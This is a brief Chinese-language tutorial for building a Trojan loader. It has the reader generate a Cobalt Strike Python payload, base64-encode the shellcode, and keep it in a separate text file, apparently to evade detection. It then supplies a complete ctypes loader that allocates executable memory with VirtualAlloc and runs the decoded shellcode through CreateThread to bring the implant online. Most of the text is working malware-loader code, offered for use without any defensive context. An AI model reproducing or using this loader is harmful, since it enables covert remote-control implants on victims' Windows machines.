马子分为shellcode和执行代码.
--将shellcode单独拿出,放在txt中---等待被读取执行
1-cs生成python的payload.
2-将shellcode进行base64编码
python
import base64
code = b' '
en_code = base64.b64encode(code)
print(en_code)
3-将编码后的shellcode放入文件内
4-读取shellcode--执行--上线
python
import ctypes
import base64
with open('s.txt','r') as f:
s=f.read()
shellcode=base64.b64decode(s)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)